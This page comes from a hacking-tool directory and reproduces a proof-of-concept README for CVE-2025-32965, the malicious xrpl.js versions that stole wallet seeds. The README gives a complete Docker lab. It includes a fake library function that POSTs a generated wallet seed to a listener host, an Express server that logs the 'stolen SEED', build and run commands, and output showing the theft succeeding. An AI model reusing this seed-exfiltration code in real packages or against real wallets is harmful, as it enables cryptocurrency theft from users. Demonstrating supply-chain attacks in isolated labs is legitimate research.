Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32965-xrpl-js-poc — CVE Kodu: CVE-2025-32965 Zafiyet Türü: Supply Chain Attack (CWE-506: Embedded Malicious Code) Hedef: xrpl.js kütüphanesinin 4.2.1–4.2.4 ve 2.14.2 versiyonları Etki: Kullanıcının cüzdan seed/secret verisinin saldırgana gönderilmesi | Kitploit
Tools/GitHubGitHub/yusufdalbudak/cve-2025-32965-xrpl-js-poc
Vulnerability AnalysisExploitationData ExfiltrationMalware AnalysisSupply Chain SecurityLearning & Education
GitHubyusufdalbudak/cve-2025-32965-xrpl-js-poc

CVE-2025-32965-xrpl-js-poc

CVE Kodu: CVE-2025-32965 Zafiyet Türü: Supply Chain Attack (CWE-506: Embedded Malicious Code) Hedef: xrpl.js kütüphanesinin 4.2.1–4.2.4 ve 2.14.2 versiyonları Etki: Kullanıcının cüzdan seed/secret verisinin saldırgana gönderilmesi

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
1 year agoNot yet reviewed

CVE-2025-32965 — xrpl.js Supply Chain Attack PoC Report

Vulnerability Description

  • CVE Code: CVE-2025-32965
  • Vulnerability Type: Supply Chain Attack (CWE-506: Embedded Malicious Code)
  • Target: xrpl.js library versions 4.2.1–4.2.4 and 2.14.2
  • Impact: User's wallet seed/secret data sent to the attacker

Goal

This PoC aims to demonstrate how a malicious xrpl.js version could perform seed exfiltration in an isolated environment.

Environment Structure

  • Platform: Docker (WSL-based Ubuntu)
  • Network: Custom Docker network named xrplnet
  • Containers:
    • poc-listener: Attacker server collecting seed data
    • xrpl-poc: PoC container hosting victim-side test scripts

Files Used

package.json:

root@kitploit:~
{
  "name": "xrpl-poc",
  "version": "1.0.0",
  "main": "test.js",
  "dependencies": {
    "express": "^4.18.2",
    "body-parser": "^1.20.2",
    "xrpl": "^2.7.1"
  }
}

Dockerfile:

root@kitploit:~
FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD [ "node", "test.js" ]

fake_xrpl.js:

root@kitploit:~
async function checkValidityOfSeed(seed) {
  const res = await fetch("http://poc-listener:3000/xcm", {
    method: "POST",
    body: seed,
    headers: {
      "Content-Type": "text/plain",
      "User-Agent": "r3v3r5e-poc"
    }
  });
  console.log(" Seed sent:", seed);
}

module.exports = { checkValidityOfSeed };

test.js:

root@kitploit:~
const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")

const wallet = xrpl.Wallet.generate()
console.log("  Generated wallet:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)

checkValidityOfSeed(wallet.seed)

server.js:

root@kitploit:~
const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.text())

app.post("/xcm", (req, res) => {
  console.log("  Stolen SEED =>", req.body)
  res.send("OK")
})

app.listen(3000, () => {
  console.log(" Listener active: http://poc-listener:3000/xcm")
})

Steps

  1. Docker Build:
root@kitploit:~
docker build -t xrpl-poc .
docker network create xrplnet
  1. Start the Listener:
root@kitploit:~
docker run -it --rm --network xrplnet --name poc-listener xrpl-poc node server.js
  1. Victim Seed Submission:
root@kitploit:~
docker run -it --rm --network xrplnet xrpl-poc node test.js

Sample Output

Victim Terminal:

root@kitploit:~
  Generated wallet:
Seed: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Address: rHvx6Xups5uR62QiC31aZeMSMnCFT62fgC
  Seed sent: sEd79cMs56cynRVYoXVkk1pn8uYcVqr

Attacker Terminal:

root@kitploit:~
  Listener active: http://poc-listener:3000/xcm
  Stolen SEED => sEd79cMs56cynRVYoXVkk1pn8uYcVqr

Conclusion

This PoC has demonstrated how the CVE-2025-32965 vulnerability can be exploited in practice. The seed exfiltration code of the malicious xrpl.js library was successfully executed in an isolated test environment and data was exfiltrated to the attacker server.

GitHub Repo Structure (Recommended)

root@kitploit:~
xrpl-poc/
├── Dockerfile
├── package.json
├── test.js
├── fake_xrpl.js
├── server.js
└── README.md

Prepared by: Yusuf Dalbudak Test Environment: WSL2 + Docker + Node.js v20

Download Tool